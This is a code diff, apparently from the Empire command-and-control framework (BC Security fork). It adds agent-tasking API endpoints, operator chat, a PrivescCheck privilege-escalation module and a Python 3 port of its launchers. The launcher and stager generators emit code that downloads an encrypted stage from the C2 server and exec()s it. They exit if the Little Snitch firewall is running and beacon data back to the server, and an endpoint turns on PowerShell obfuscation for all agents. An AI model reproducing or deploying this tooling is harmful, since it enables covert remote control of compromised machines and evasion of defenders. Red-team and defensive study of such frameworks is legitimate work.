7049 $Html = $Html.Replace("BODY_TO_REPLACE", $TableHtml)
7050 $Html
7051 }
7052
7053 function Write-PrivescCheckAsciiReport {
7054 <#
7055 .SYNOPSIS
7056
7057 Write a short report on the terminal in ASCII-art using 'Write-Host'.
7058
7059 Author: @itm4n
7060 License: BSD 3-Clause
7061
7062 .DESCRIPTION
7063
7064 Once all the checks were executed, this function writes a table in ASCII-art that summarizes
7065 the results with fancy colors. As a pentester or a system administrator, this should help you
7066 quickly spot weaknesses on the local machine.
7067
7068 .EXAMPLE
7069
7070 PS C:\> Write-PrivescCheckAsciiReport
7071
7072 +-----------------------------------------------------------------------------+
7073 | ~~~ PrivescCheck Report ~~~ |
7074 +----+------+-----------------------------------------------------------------+
7075 | OK | None | APPS > Modifiable Apps |
7076 | OK | None | APPS > Modifiable Apps Run on Startup |
7077 | OK | None | CONFIG > SCCM Cache Folder |
7078 | OK | None | CONFIG > WSUS Configuration |
7079 | OK | None | CONFIG > AlwaysInstallElevated |
7080 | NA | Info | CREDS > Credential Manager -> 3 result(s) |
7081 | NA | Info | CREDS > Credential Manager (web) -> 1 result(s) |
7082 | OK | None | CREDS > Unattended Files |
7083 | OK | None | CREDS > WinLogon |
7084 | OK | None | CREDS > SAM/SYSTEM Backup Files |
7085 | OK | None | CREDS > GPP Passwords |
7086 | OK | None | HARDENING > BitLocker |
7087 | NA | Info | SERVICES > Non-default Services -> 41 result(s) |
7088 | NA | Info | SERVICES > Hijackable DLLs -> 2 result(s) |
7089 | OK | None | SERVICES > System's %PATH% |
7090 | OK | None | SERVICES > Unquoted Paths |
7091 | OK | None | SERVICES > Binary Permissions |
7092 | OK | None | SERVICES > Permissions - SCM |
7093 | OK | None | SERVICES > Permissions - Registry |
7094 | OK | None | UPDATES > System up to date? |
7095 | OK | None | USER > Privileges |
7096 | NA | Info | USER > Environment Variables |
7097 +----+------+-----------------------------------------------------------------+
7098
7099 #>
7100
7101 [CmdletBinding()] param(
7102
7103 )
7104
7105 Write-Host "+-----------------------------------------------------------------------------+"
7106 Write-Host "| ~~~ PrivescCheck Report ~~~ |"
7107 Write-Host "+----+------+-----------------------------------------------------------------+"
7108
7109 $ResultArrayList | Sort-Object -Property Category | ForEach-Object {
7110
7111 Write-Host -NoNewline "| "
7112 if ($_.Type -Like "vuln") {
7113 if ($_.ResultRaw) {
7114 Write-Host -NoNewline -ForegroundColor "Red" "KO"
7115 } else {
7116 Write-Host -NoNewline -ForegroundColor "Green" "OK"
7117 }
7118 } else {
7119 Write-Host -NoNewline -ForegroundColor "DarkGray" "NA"
7120 }
7121 Write-Host -NoNewline " | "
7122
7123 if ($_.Severity -Like "None") {
7124 $SeverityColor = "DarkGray"
7125 Write-Host -NoNewline -ForegroundColor $SeverityColor "None"
7126 } elseif ($_.Severity -Like "Low") {
7127 $SeverityColor = "DarkGreen"
7128 Write-Host -NoNewline -ForegroundColor $SeverityColor "Low "
7129 } elseif ($_.Severity -Like "Medium") {
7130 $SeverityColor = "DarkYellow"
7131 Write-Host -NoNewline -ForegroundColor $SeverityColor "Med."
7132 } elseif ($_.Severity -Like "High") {
7133 $SeverityColor = "DarkRed"
7134 Write-Host -NoNewline -ForegroundColor $SeverityColor "High"
7135 } elseif ($_.Severity -Like "Info") {
7136 $SeverityColor = "DarkBlue"
7137 Write-Host -NoNewline -ForegroundColor $SeverityColor "Info"
7138 } else {
7139 $SeverityColor = "White"
7140 Write-Host -NoNewline " "
7141 }
7142 Write-Host -NoNewline " |"
7143
7144 $Message = "$($_.Category.ToUpper()) > $($_.DisplayName)"
7145 if ($_.ResultRaw) {
7146 $Message = "$($Message) -> $(([object[]]$_.ResultRaw).Length) result(s)"
7147 }
7148 $Padding = ' ' * $(63 - $Message.Length)
7149
7150 Write-Host -NoNewline " $($_.Category.ToUpper()) > $($_.DisplayName)"
7151
7152 if ($_.ResultRaw) {
7153 Write-Host -NoNewLine " ->"
7154 Write-Host -NoNewLine -ForegroundColor $SeverityColor " $(([object[]]$_.ResultRaw).Length) result(s)"
7155 }
7156
7157 Write-Host "$($Padding) |"
7158 }
7159
7160 Write-Host "+----+------+-----------------------------------------------------------------+"
7161 }
7162 #endregion Main
+214
-10
empire less more
1313 import signal
1414 import sqlite3
1515 import ssl
16 import string
1617 import subprocess
1718 import sys
1819 import time
1920 from datetime import datetime, timezone
21 import random
2022 from time import sleep
2123
2224 from flask import Flask, request, jsonify, make_response, abort, url_for, g
2325 from flask.json import JSONEncoder
24 from flask_socketio import SocketIO, emit
26 from flask_socketio import SocketIO, emit, join_room, leave_room, \
27 close_room, rooms, disconnect
2528
2629 # Empire imports
2730 from lib.common import empire, helpers, users
10801083 taskID = main.agents.add_agent_task_db(agentSessionID, "TASK_SHELL", command, uid=g.user['id'])
10811084 return jsonify({'success': True, 'taskID': taskID})
10821085
1086 @app.route('/api/agents/<string:agent_name>/update_comms', methods=['PUT'])
1087 def agent_update_comms(agent_name):
1088 """
1089 Dynamically update the agent comms to another
1090
1091 Takes {'listener': 'name'}
1092 """
1093
1094 if not request.json:
1095 return make_response(jsonify({'error':'request body must be valid JSON'}), 400)
1096
1097 if not 'listener' in request.json:
1098 return make_response(jsonify({'error':'JSON body must include key "listener"'}), 400)
1099
1100 listener_name = request.json['listener']
1101
1102 if not main.listeners.is_listener_valid(listener_name):
1103 return jsonify({'error': 'Please enter a valid listener name.'})
1104 else:
1105 active_listener = main.listeners.activeListeners[listener_name]
1106 if active_listener['moduleName'] != 'meterpreter' or active_listener['moduleName'] != 'http_mapi':
1107 listener_options = active_listener['options']
1108 listener_comms = main.listeners.loadedListeners[active_listener['moduleName']].generate_comms(listener_options, language="powershell")
1109
1110 main.agents.add_agent_task_db(agent_name, "TASK_UPDATE_LISTENERNAME", listener_options['Name']['Value'])
1111 main.agents.add_agent_task_db(agent_name, "TASK_SWITCH_LISTENER", listener_comms)
1112
1113 msg = "Tasked agent to update comms to %s listener" % listener_name
1114 main.agents.save_agent_log(agent_name, msg)
1115 return jsonify({'success': True})
1116 else:
1117 return jsonify({'error': 'Ineligible listener for updatecomms command: %s' % active_listener['moduleName']})
1118
1119 @app.route('/api/agents/<string:agent_name>/killdate', methods=['PUT'])
1120 def agent_kill_date(agent_name):
1121 """
1122 Set an agent's killdate (01/01/2016)
1123
1124 Takes {'kill_date': 'date'}
1125 """
1126
1127 if not request.json:
1128 return make_response(jsonify({'error':'request body must be valid JSON'}), 400)
1129
1130 if not 'kill_date' in request.json:
1131 return make_response(jsonify({'error':'JSON body must include key "kill_date"'}), 400)
1132
1133 try:
1134 kill_date = request.json['kill_date']
1135
1136 # update this agent's information in the database
1137 main.agents.set_agent_field_db("kill_date", kill_date, agent_name)
1138
1139 # task the agent
1140 main.agents.add_agent_task_db(agent_name, "TASK_SHELL", "Set-KillDate " + str(kill_date))
1141
1142 # update the agent log
1143 msg = "Tasked agent to set killdate to " + str(kill_date)
1144 main.agents.save_agent_log(agent_name, msg)
1145 return jsonify({'success': True})
1146 except:
1147 return jsonify({'error': 'Unable to update agent killdate'})
1148
1149 @app.route('/api/agents/<string:agent_name>/workinghours', methods=['PUT'])
1150 def agent_working_hours(agent_name):
1151 """
1152 Set an agent's working hours (9:00-17:00)
1153
1154 Takes {'working_hours': 'working_hours'}
1155 """
1156
1157 if not request.json:
1158 return make_response(jsonify({'error':'request body must be valid JSON'}), 400)
1159
1160 if not 'working_hours' in request.json:
1161 return make_response(jsonify({'error':'JSON body must include key "working_hours"'}), 400)
1162
1163 try:
1164 working_hours = request.json['working_hours']
1165 working_hours = working_hours.replace(",", "-")
1166
1167 # update this agent's information in the database
1168 main.agents.set_agent_field_db("working_hours", working_hours, agent_name)
1169
1170 # task the agent
1171 main.agents.add_agent_task_db(agent_name, "TASK_SHELL", "Set-WorkingHours " + str(working_hours))
1172
1173 # update the agent log
1174 msg = "Tasked agent to set working hours to " + str(working_hours)
1175 main.agents.save_agent_log(agent_name, msg)
1176 return jsonify({'success': True})
1177 except:
1178 return jsonify({'error': 'Unable to update agent workinghours'})
1179
10831180 @app.route('/api/agents/<string:agent_name>/rename', methods=['POST'])
10841181 def task_agent_rename(agent_name):
10851182 """
10861183 Renames the specified agent.
10871184
1088 Takes {'newname':'NAME'}
1185 Takes {'newname': 'NAME'}
10891186 """
10901187
10911188 agentNameID = execute_db_query(conn, 'SELECT name,session_id FROM agents WHERE name like ? OR session_id like ?', [agent_name, agent_name])
11631260 return make_response(jsonify({'error':'request body must be valid JSON'}), 400)
11641261
11651262 if not 'notes' in request.json:
1166 return make_response(jsonify({'error':'JSON body must include key "credentials"'}), 400)
1263 return make_response(jsonify({'error':'JSON body must include key "notes"'}), 400)
11671264
11681265 notes = request.json['notes']
11691266
14041501 shutdown_server()
14051502 return jsonify({'success': True})
14061503
1504 @app.route('/api/admin/options', methods=['POST'])
1505 def set_admin_options():
1506 """
1507 Obfuscate all future powershell commands run on all agents.
1508 """
1509 if not request.json:
1510 return make_response(jsonify({'error': 'request body must be valid JSON'}), 400)
1511
1512 # Set global obfuscation
1513 if 'obfuscate' in request.json:
1514 if request.json['obfuscate'].lower() == 'true':
1515 main.obfuscate = True
1516 else:
1517 main.obfuscate = False
1518
1519 # if obfuscate command is given then set, otherwise use default
1520 if 'obfuscate_command' in request.json:
1521 main.obfuscateCommand = request.json['obfuscate_command']
1522
1523 # add keywords to the obfuscation database
1524 if 'keyword_obfuscation' in request.json:
1525 cur = conn.cursor()
1526 keyword = request.json['keyword_obfuscation']
1527 try:
1528 # if no replacement given then generate a random word
1529 if not request.json['keyword_replacement']:
1530 keyword_replacement = random.choice(string.ascii_uppercase) + ''.join(
1531 random.choice(string.ascii_uppercase + string.digits) for _ in range(4))
1532 else:
1533 keyword_replacement = request.json['keyword_replacement']
1534 cur.execute("INSERT INTO functions VALUES(?,?)", (keyword, keyword_replacement))
1535 cur.close()
1536 except Exception:
1537 print(helpers.color("couldn't connect to Database"))
1538
1539 return jsonify({'success': True})
1540
14071541 @app.route('/api/users', methods=['GET'])
14081542 def get_users():
14091543 """
14321566
14331567 [ID, username, last_logon_time, enabled, admin, notes] = user[0]
14341568 return jsonify({"ID": ID, "username": username, "last_logon_time": last_logon_time, "enabled": bool(enabled), "admin": bool(admin), "notes": notes})
1435
14361569
14371570 @app.route('/api/users/me', methods=['GET'])
14381571 def get_user_me():
16451778 app = Flask(__name__)
16461779 socketio = SocketIO(app, cors_allowed_origins="*")
16471780 empire_menu.socketio = socketio
1781 room = 'general' # A socketio user is in the general channel if the join the chat.
1782 chat_participants = {}
1783 chat_log = [] # This is really just meant to provide some context to a user that joins the convo.
1784 # In the future we can expand to store chat messages in the db if people want to retain a whole chat log.
1785
1786 def get_user_from_token():
1787 user = empire_menu.users.get_user_from_token(request.args.get('token', ''))
1788 if user:
1789 user['password'] = ''
1790 user['api_token'] = ''
1791
1792 return user
16481793
16491794 @socketio.on('connect')
16501795 def connect():
1651 token = request.args.get('token', '')
1652 if len(token) > 0:
1653 user = empire_menu.users.get_user_from_token(token)
1654 if user:
1655 print(f"{user['username']} connected to socketio")
1656 return
1796 user = get_user_from_token()
1797 if user:
1798 print(f"{user['username']} connected to socketio")
1799 return
16571800
16581801 raise ConnectionRefusedError('unauthorized!')
16591802
16601803 @socketio.on('disconnect')
16611804 def test_disconnect():
16621805 print('Client disconnected from socketio')
1806
1807 @socketio.on('chat/join')
1808 def on_join(data=None):
1809 """
1810 The calling user gets added to the "general" chat room.
1811 Note: while 'data' is unused, it is good to leave it as a parameter for compatibility reasons.
1812 The server fails if a client sends data when none is expected.
1813 :return: emits a join event with the user's details.
1814 """
1815 user = get_user_from_token()
1816 if user['username'] not in chat_participants:
1817 chat_participants[user['username']] = user
1818 join_room(room)
1819 socketio.emit("chat/join", {'user': user,
1820 'username': user['username'],
1821 'message': f"{user['username']} has entered the room."}, room=room)
1822
1823 @socketio.on('chat/leave')
1824 def on_leave(data=None):
1825 """
1826 The calling user gets removed from the "general" chat room.
1827 :return: emits a leave event with the user's details.
1828 """
1829 user = get_user_from_token()
1830 chat_participants.pop(user['username'], None)
1831 leave_room(room)
1832 socketio.emit("chat/leave", {'user': user,
1833 'username': user['username'],
1834 'message': user['username'] + ' has left the room.'}, room=room)
1835
1836 @socketio.on('chat/message')
1837 def on_message(data):
1838 """
1839 The calling user sends a message.
1840 :param data: contains the user's message.
1841 :return: Emits a message event containing the message and the user's username
1842 """
1843 user = get_user_from_token()
1844 chat_log.append({'username': user['username'], 'message': data['message']})
1845 socketio.emit("chat/message", {'username': user['username'], 'message': data['message']}, room=room)
1846
1847 @socketio.on('chat/history')
1848 def on_history(data=None):
1849 """
1850 The calling user gets sent the last 20 messages.
1851 :return: Emit chat messages to the calling user.
1852 """
1853 sid = request.sid
1854 for x in range(len(chat_log[-20:])):
1855 username = chat_log[x]['username']
1856 message = chat_log[x]['message']
1857 socketio.emit("chat/message", {'username': username, 'message': message, 'history': True}, room=sid)
1858
1859 @socketio.on('chat/participants')
1860 def on_participants(data=None):
1861 """
1862 The calling user gets sent a list of "general" chat participants.
1863 :return: emit participant event containing list of users.
1864 """
1865 sid = request.sid
1866 socketio.emit("chat/participants", list(chat_participants.values()), room=sid)
16631867
16641868 print('')
16651869 print(" * Starting Empire SocketIO on port: {}".format(port))
1717
1818 from flask_socketio import SocketIO
1919
20 VERSION = "3.6.0 BC Security Fork"
20 VERSION = "3.6.2 BC Security Fork"
2121
2222 from pydispatch import dispatcher
2323
456456
457457 # python/collection/prompt (Mac OS)
458458 elif b"text returned:" in parts[0]:
459 parts2 = parts[0].split("text returned:")
459 parts2 = parts[0].split(b"text returned:")
460460 if len(parts2) >= 2:
461461 password = parts2[-1]
462462 return [("plaintext", "", "", password, "", "")]
258258 self.activeListeners[name]['name'] = name
259259
260260 # TODO: listeners should not have their default options rewritten in memory after generation
261 self.default_listener_options(moduleName)
261 if moduleName == 'redirector':
262 self.default_listener_options(moduleName)
262263
263264 if self.mainMenu.socketio:
264265 self.mainMenu.socketio.emit('listeners/new', self.get_listener_for_socket(name), broadcast=True)
00 from __future__ import absolute_import
1
2 import random
3 import string
4
15 import six.moves.urllib.request, six.moves.urllib.parse, six.moves.urllib.error
26 from pyparsing import *
37 from .utility import MalleableError, MalleableUtil, MalleableObject
356360 self.server.output = Container()
357361 self.client.verb = "GET"
358362
363 # Having a missing http-stager and '/' in http-get or http-post throws an error
364 # This catches it and generates a random http-stager uri
365 if not self.client.uris:
366 self.client.uris = []
367 self.client.uris.append('/' + self.get_random_string(8) + '/')
368
359369 def _clone(self):
360370 """Deep copy of the Stager Transaction.
361371
491501 """
492502 output = response.extract(self.server, self.server.output.terminator)
493503 return self.server.output.transform_r(output) if output else None
504
505 def get_random_string(self, length):
506 letters = string.ascii_lowercase
507 result_str = ''.join(random.choice(letters) for i in range(length))
508 return result_str
509
390390 """Store the data according to the specified terminator.
391391
392392 Args:
393 data (str): The data to be stored.
393 data (str): The data to be stored, has to be `str`
394394 terminator (Terminator): The terminator specifying where to store the data.
395395 """
396 try:
397 data = data.decode()
398 except AttributeError:
399 pass
396400 if terminator.type == Terminator.HEADER: self.header(terminator.arg, data)
397401 elif terminator.type == Terminator.PARAMETER: self.parameter(terminator.arg, data)
398402 elif terminator.type == Terminator.URIAPPEND: self.extra = data
139139 try:
140140 self.lock.acquire()
141141 cur = conn.cursor()
142 cur.execute("SELECT id, username, api_token, last_logon_time, enabled, admin FROM users WHERE api_token = ? LIMIT 1", (token,))
142 cur.execute("SELECT id, username, api_token, last_logon_time, enabled, admin, notes FROM users WHERE api_token = ? LIMIT 1", (token,))
143143 user = cur.fetchone()
144144
145145 if user:
146 [id, username, api_token, last_logon_time, enabled, admin] = user
147 return {'id': id, 'username': username, 'api_token': api_token, 'last_logon_time': last_logon_time, 'enabled': bool(enabled), 'admin': bool(admin)}
146 [id, username, api_token, last_logon_time, enabled, admin, notes] = user
147 return {'id': id, 'username': username, 'api_token': api_token, 'last_logon_time': last_logon_time, 'enabled': bool(enabled), 'admin': bool(admin), "notes": notes}
148148
149149 return None
150150 finally:
489489 profile = listenerOptions['DefaultProfile']['Value']
490490 userAgent = profile.split('|')[1]
491491
492 launcherBase += "import urllib.request as urllib;\n"
492 launcherBase += "import urllib.request;\n"
493493 launcherBase += "UA='%s';" % (userAgent)
494494 launcherBase += "server='%s';t='%s';" % (host, stage0)
495495
499499
500500 b64RoutingPacket = base64.b64encode(routingPacket).decode('UTF-8')
501501
502 launcherBase += "req=urllib.Request(server+t);\n"
502 launcherBase += "req=urllib.request.Request(server+t);\n"
503503
504504 # Add custom headers if any
505505 if customHeaders != []:
511511
512512 if proxy.lower() != "none":
513513 if proxy.lower() == "default":
514 launcherBase += "proxy = urllib.ProxyHandler();\n"
514 launcherBase += "proxy = urllib.request.ProxyHandler();\n"
515515 else:
516516 proto = proxy.split(':')[0]
517 launcherBase += "proxy = urllib.ProxyHandler({'" + proto + "':'" + proxy + "'});\n"
517 launcherBase += "proxy = urllib.request.ProxyHandler({'" + proto + "':'" + proxy + "'});\n"
518518
519519 if proxyCreds != "none":
520520 if proxyCreds == "default":
521 launcherBase += "o = urllib.build_opener(proxy);\n"
521 launcherBase += "o = urllib.request.build_opener(proxy);\n"
522522
523523 # add the RC4 packet to a cookie
524524 launcherBase += "o.addheaders=[('User-Agent',UA), (\"Cookie\", \"session=%s\")];\n" % (
525525 b64RoutingPacket)
526526 else:
527 launcherBase += "proxy_auth_handler = urllib.ProxyBasicAuthHandler();\n"
527 launcherBase += "proxy_auth_handler = urllib.request.ProxyBasicAuthHandler();\n"
528528 username = proxyCreds.split(':')[0]
529529 password = proxyCreds.split(':')[1]
530530 launcherBase += "proxy_auth_handler.add_password(None,'" + proxy + "','" + username + "','" + password + "');\n"
531 launcherBase += "o = urllib.build_opener(proxy, proxy_auth_handler);\n"
531 launcherBase += "o = urllib.request.build_opener(proxy, proxy_auth_handler);\n"
532532
533533 # add the RC4 packet to a cookie
534534 launcherBase += "o.addheaders=[('User-Agent',UA), (\"Cookie\", \"session=%s\")];\n" % (
535535 b64RoutingPacket)
536536 else:
537 launcherBase += "o = urllib.build_opener(proxy);\n"
537 launcherBase += "o = urllib.request.build_opener(proxy);\n"
538538 else:
539 launcherBase += "o = urllib.build_opener();\n"
539 launcherBase += "o = urllib.request.build_opener();\n"
540540
541541 # install proxy and creds globally, so they can be used with urlopen.
542 launcherBase += "urllib.install_opener(o);\n"
542 launcherBase += "urllib.request.install_opener(o);\n"
543543
544544 # download the stager and extract the IV
545545
546 launcherBase += "a=urllib.urlopen(req).read();\n"
546 launcherBase += "a=urllib.request.urlopen(req).read();\n"
547547 launcherBase += "IV=a[0:4];"
548548 launcherBase += "data=a[4:];"
549549 launcherBase += "key=IV+'%s'.encode('UTF-8');" % (stagingKey)
936936 requestUri = server + taskURI
937937
938938 try:
939 data = (urllib.urlopen(urllib.Request(requestUri, data, headers))).read()
939 data = (urllib.request.urlopen(urllib.request.Request(requestUri, data, headers))).read()
940940 return ('200', data)
941941
942 except urllib.HTTPError as HTTPError:
942 except urllib.request.HTTPError as HTTPError:
943943 # if the server is reached, but returns an error (like 404)
944944 missedCheckins = missedCheckins + 1
945945 #if signaled for restaging, exit.
948948
949949 return (HTTPError.code, '')
950950
951 except urllib.URLError as URLerror:
951 except urllib.request.URLError as URLerror:
952952 # if the server cannot be reached
953953 missedCheckins = missedCheckins + 1
954954 return (URLerror.reason, '')
496496
497497 # ==== HANDLE IMPORTS ====
498498 launcherBase = 'import sys,base64\n'
499 launcherBase += 'import urllib.request as urllib'
499 launcherBase += 'import urllib.request,urllib.parse\n'
500500
501501 # ==== HANDLE SSL ====
502502 if profile.stager.client.scheme == "https":
509509 launcherBase += "cmd = \"ps -ef | grep Little\ Snitch | grep -v grep\"\n"
510510 launcherBase += "ps = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)\n"
511511 launcherBase += "out, err = ps.communicate()\n"
512 launcherBase += "if re.search('Little Snitch', out):sys.exit()\n"
512 launcherBase += "if re.search('Little Snitch', out.decode()):sys.exit()\n"
513513
514514 launcherBase += "server='%s'\n" % (host)
515515
516516 # ==== CONFIGURE PROXY ====
517517 if proxy and proxy.lower() != 'none':
518518 if proxy.lower() == 'default':
519 launcherBase += "proxy = urllib.ProxyHandler()\n"
519 launcherBase += "proxy = urllib.request.ProxyHandler()\n"
520520 else:
521521 proto = proxy.split(':')[0]
522 launcherBase += "proxy = urllib.ProxyHandler({'"+proto+"':'"+proxy+"'})\n"
522 launcherBase += "proxy = urllib.request.ProxyHandler({'"+proto+"':'"+proxy+"'})\n"
523523 if proxyCreds and proxyCreds != 'none':
524524 if proxyCreds == 'default':
525 launcherBase += "o = urllib.build_opener(proxy)\n"
525 launcherBase += "o = urllib.request.build_opener(proxy)\n"
526526 else:
527 launcherBase += "proxy_auth_handler = urllib.ProxyBasicAuthHandler()\n"
527 launcherBase += "proxy_auth_handler = urllib.request.ProxyBasicAuthHandler()\n"
528528 username = proxyCreds.split(':')[0]
529529 password = proxyCreds.split(':')[1]
530530 launcherBase += "proxy_auth_handler.add_password(None,'"+proxy+"','"+username+"','"+password+"')\n"
531 launcherBase += "o = urllib.build_opener(proxy, proxy_auth_handler)\n"
531 launcherBase += "o = urllib.request.build_opener(proxy, proxy_auth_handler)\n"
532532 else:
533 launcherBase += "o = urllib.build_opener(proxy)\n"
533 launcherBase += "o = urllib.request.build_opener(proxy)\n"
534534 else:
535 launcherBase += "o = urllib.build_opener()\n"
535 launcherBase += "o = urllib.request.build_opener()\n"
536536 # install proxy and creds globaly, so they can be used with urlopen.
537 launcherBase += "urllib.install_opener(o)\n"
537 launcherBase += "urllib.request.install_opener(o)\n"
538538
539539 # ==== BUILD AND STORE METADATA ====
540540 routingPacket = packets.build_routing_packet(stagingKey, sessionID='00000000', language='PYTHON', meta='STAGE0', additional='None', encData='')
542542 profile.stager.client.store(routingPacketTransformed, profile.stager.client.metadata.terminator)
543543
544544 # ==== BUILD REQUEST ====
545 launcherBase += "vreq=type('vreq',(urllib.Request,object),{'get_method':lambda self:self.verb if (hasattr(self,'verb') and self.verb) else urllib.Request.get_method(self)})\n"
546 launcherBase += "req=vreq('%s', '%s')\n" % (profile.stager.client.url, profile.stager.client.body)
545 launcherBase += "vreq=type('vreq',(urllib.request.Request,object),{'get_method':lambda self:self.verb if (hasattr(self,'verb') and self.verb) else urllib.request.Request.get_method(self)})\n"
546 launcherBase += "req=vreq('%s', %s)\n" % (profile.stager.client.url, profile.stager.client.body)
547547 launcherBase += "req.verb='"+profile.stager.client.verb+"'\n"
548548
549549 # ==== ADD HEADERS ====
551551 launcherBase += "req.add_header('%s','%s')\n" % (header, value)
552552
553553 # ==== SEND REQUEST ====
554 launcherBase += "res=urllib.urlopen(req)\n"
554 launcherBase += "res=urllib.request.urlopen(req)\n"
555555
556556 # ==== INTERPRET RESPONSE ====
557557 if profile.stager.server.output.terminator.type == malleable.Terminator.HEADER:
565565 launcherBase += profile.stager.server.output.generate_python_r("a")
566566
567567 # ==== EXTRACT IV AND STAGER ====
568 launcherBase += "a=urllib.urlopen(req).read();\n"
568 launcherBase += "a=urllib.request.urlopen(req).read();\n"
569569 launcherBase += "IV=a[0:4];"
570570 launcherBase += "data=a[4:];"
571571 launcherBase += "key=IV+'%s'.encode('UTF-8');" % (stagingKey)
581581 launcherBase += " j=(j+S[i])%256\n"
582582 launcherBase += " S[i],S[j]=S[j],S[i]\n"
583583 launcherBase += " out.append(chr(char^S[(S[i]+S[j])%256]))\n"
584 launcherBase += "exec(''.join(out))"
585584
586585 # ==== EXECUTE STAGER ====
587586 launcherBase += "exec(''.join(out))"
10111010 sendMessage += " global headers\n"
10121011 sendMessage += " global taskURIs\n"
10131012
1014 sendMessage += " vreq = type('vreq', (urllib.Request, object), {'get_method':lambda self:self.verb if (hasattr(self, 'verb') and self.verb) else urllib.Request.get_method(self)})\n"
1013 sendMessage += " vreq = type('vreq', (urllib.request.Request, object), {'get_method':lambda self:self.verb if (hasattr(self, 'verb') and self.verb) else urllib.request.Request.get_method(self)})\n"
10151014
10161015 # ==== BUILD POST ====
10171016 sendMessage += " if packets:\n"
10181017
10191018 # ==== BUILD ROUTING PACKET ====
1020 sendMessage += " data = ''.join(packets)\n"
1019 sendMessage += " data = packets.decode('latin-1')\n"
10211020 sendMessage += " encData = aes_encrypt_then_hmac(key, data)\n"
10221021 sendMessage += " routingPacket = build_routing_packet(stagingKey, sessionID, meta=5, encData=encData)\n"
10231022 sendMessage += "\n".join([" " + _ for _ in profile.post.client.output.generate_python("routingPacket").split("\n")]) + "\n"
10241023
10251024 # ==== CHOOSE URI ====
1026 sendMessage += " taskUri = random.sample("+ profile.post.client.uris +", 1)[0]\n"
1025 sendMessage += " taskUri = random.sample("+ str(profile.post.client.uris) +", 1)[0]\n"
10271026 sendMessage += " requestUri = server + taskUri\n"
10281027
10291028 # ==== ADD PARAMETERS ====
10331032 if profile.post.client.output.terminator.type == malleable.Terminator.PARAMETER:
10341033 sendMessage += " parameters['"+profile.post.client.output.terminator.arg+"'] = routingPacket\n"
10351034 sendMessage += " if parameters:\n"
1036 sendMessage += " requestUri += '?' + urllib.urlencode(parameters)\n"
1035 sendMessage += " requestUri += '?' + urllib.parse.urlencode(parameters)\n"
10371036
10381037 if profile.post.client.output.terminator.type == malleable.Terminator.URIAPPEND:
10391038 sendMessage += " requestUri += routingPacket\n"
10431042 sendMessage += " body = routingPacket\n"
10441043 else:
10451044 sendMessage += " body = '"+profile.post.client.body+"'\n"
1045 sendMessage += " try:\n body=body.encode()\n except AttributeError:\n pass\n"
10461046
10471047 # ==== BUILD REQUEST ====
10481048 sendMessage += " req = vreq(requestUri, body)\n"
10621062 sendMessage += "\n".join([" " + _ for _ in profile.get.client.metadata.generate_python("routingPacket").split("\n")]) + "\n"
10631063
10641064 # ==== CHOOSE URI ====
1065 sendMessage += " taskUri = random.sample("+ profile.get.client.uris +", 1)[0]\n"
1065 sendMessage += " taskUri = random.sample("+ str(profile.get.client.uris) +", 1)[0]\n"
10661066 sendMessage += " requestUri = server + taskUri\n"
10671067
10681068 # ==== ADD PARAMETERS ====
10721072 if profile.get.client.metadata.terminator.type == malleable.Terminator.PARAMETER:
10731073 sendMessage += " parameters['"+profile.get.client.metadata.terminator.arg+"'] = routingPacket\n"
10741074 sendMessage += " if parameters:\n"
1075 sendMessage += " requestUri += '?' + urllib.urlencode(parameters)\n"
1075 sendMessage += " requestUri += '?' + urllib.parse.urlencode(parameters)\n"
10761076
10771077 if profile.get.client.metadata.terminator.type == malleable.Terminator.URIAPPEND:
10781078 sendMessage += " requestUri += routingPacket\n"
10821082 sendMessage += " body = routingPacket\n"
10831083 else:
10841084 sendMessage += " body = '"+profile.get.client.body+"'\n"
1085 sendMessage += " try:\n body=body.encode()\n except AttributeError:\n pass\n"
10851086
10861087 # ==== BUILD REQUEST ====
10871088 sendMessage += " req = vreq(requestUri, body)\n"
10951096
10961097 # ==== SEND REQUEST ====
10971098 sendMessage += " try:\n"
1098 sendMessage += " res = urllib.urlopen(req)\n"
1099 sendMessage += " res = urllib.request.urlopen(req)\n"
10991100
11001101 # ==== EXTRACT RESPONSE ====
11011102 if profile.get.server.output.terminator.type == malleable.Terminator.HEADER:
11071108
11081109 # ==== DECODE RESPONSE ====
11091110 sendMessage += "\n".join([" " + _ for _ in profile.get.server.output.generate_python_r("data").split("\n")]) + "\n"
1110
1111 # before return we encode to bytes, since in some transformations "join" produces str
1112 sendMessage += " if isinstance(data,str): data = data.encode('latin-1')\n"
11111113 sendMessage += " return ('200', data)\n"
11121114
11131115 # ==== HANDLE ERROR ====
1114 sendMessage += " except urllib.HTTPError as HTTPError:\n"
1116 sendMessage += " except urllib.request.HTTPError as HTTPError:\n"
11151117 sendMessage += " missedCheckins += 1\n"
11161118 sendMessage += " if HTTPError.code == 401:\n"
11171119 sendMessage += " sys.exit(0)\n"
11181120 sendMessage += " return (HTTPError.code, '')\n"
1119 sendMessage += " except urllib.URLError as URLError:\n"
1121 sendMessage += " except urllib.request.URLError as URLError:\n"
11201122 sendMessage += " missedCheckins += 1\n"
11211123 sendMessage += " return (URLError.reason, '')\n"
11221124
0 from __future__ import print_function
1
2 from builtins import str
3
4 from lib.common import helpers
5
6
7 class Module:
8 def __init__(self, mainMenu, params=[]):
9 self.info = {
10 'Name': 'PrivescCheck',
11 'Author': ['@itm4n'],
12 'Description': ('Find Windows local privilege escalation vulnerabilities.'),
13 'Software': '',
14 'Techniques': ['T1046'],
15 'Background': True,
16 'OutputExtension': None,
17 'NeedsAdmin': False,
18 'OpsecSafe': True,
19 'Language': 'powershell',
20 'MinLanguageVersion': '2',
21
22 'Comments': [
23 'https://github.com/itm4n/PrivescCheck'
24 ]
25 }
26 # any options needed by the module, settable during runtime
27 self.options = {
28 # format:
29 # value_name : {description, required, default_value}
30 'Agent': {
31 'Description': 'Agent to run module on.',
32 'Required': True,
33 'Value': ''
34 },
35 'Extended': {
36 'Description': 'Set this flag to enable extended checks.',
37 'Required': True,
38 'Value': 'False'
39 },
40 'Format': {
41 'Description': 'Select the format of the output file (e.g.: TXT, HTML or CSV).',
42 'Required': True,
43 'Value': 'TXT'
44 }
45 }
46 # save off a copy of the mainMenu object to access external functionality
47 # like listeners/agent handlers/etc.
48 self.mainMenu = mainMenu
49 for param in params:
50 # parameter format is [Name, Value]
51 option, value = param
52 if option in self.options:
53 self.options[option]['Value'] = value
54
55 def generate(self, obfuscate=False, obfuscationCommand=""):
56 moduleName = self.info["Name"]
57
58 # read in the common powerup.ps1 module source code
59 moduleSource = self.mainMenu.installPath + "/data/module_source/privesc/PrivescCheck.ps1"
60 if obfuscate:
